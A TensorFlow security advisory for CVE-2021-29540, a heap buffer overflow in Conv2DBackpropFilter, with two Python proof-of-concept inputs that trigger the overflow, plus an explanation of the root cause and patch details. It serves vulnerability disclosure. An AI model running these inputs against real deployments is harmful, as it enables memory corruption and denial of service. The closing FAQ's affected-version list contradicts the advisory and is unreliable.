CVE-2021-29540: Heap buffer overflow in `Conv2DBackpropFilter`
Impact An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter:
python import tensorflow as tf
inputtensor = tf.constant([386.078431372549, 386.07843139643234], shape=[1, 1, 1, 2], dtype=tf.float32) filtersizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32) outbackprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1], dtype=tf.float32) tf.rawops.Conv2DBackpropFilter( input=inputtensor, filtersizes=filtersizes, outbackprop=outbackprop, strides=[1, 66, 49, 1], usecudnnongpu=True, padding='VALID', explicitpaddings=[], dataformat='NHWC', dilations=[1, 1, 1, 1] )
Alternatively, passing empty tensors also results in similar behavior:
python import tensorflow as tf
inputtensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32) filtersizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32) outbackprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)
tf.rawops.Conv2DBackpropFilter( input=inputtensor, filtersizes=filtersizes, outbackprop=outbackprop, strides=[1, 66, 49, 1], usecudnnongpu=True, padding='VALID', explicitpaddings=[], dataformat='NHWC', dilations=[1, 1, 1, 1] )
This is because the implementation computes the size of the filter tensor but does not validate that it matches the number of elements in filtersizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor.
Patches We have patched the issue in GitHub commit c570e2ecfc822941335ad48f6e10df4e21f11c96.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Other sources
TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/convgradfilterops.cc#L495-L497) computes the size of the filter tensor but does not validate that it matches the number of elements in filtersizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2021-29540?
CVE-2021-29540 has been classified as a high severity vulnerability due to the potential for a heap buffer overflow.
How do I fix CVE-2021-29540?
To fix CVE-2021-29540, upgrade to TensorFlow version 2.4.2 or later.
Which versions of TensorFlow are affected by CVE-2021-29540?
CVE-2021-29540 affects TensorFlow versions earlier than 2.4.2, specifically 2.1.4 and between 2.2.0 to 2.3.3.
What type of vulnerability is CVE-2021-29540?
CVE-2021-29540 is identified as a heap buffer overflow vulnerability.
Can I check for CVE-2021-29540 in my TensorFlow application?
Yes, you can check for CVE-2021-29540 by reviewing the version of TensorFlow you are currently using and comparing it with the versions listed as vulnerable.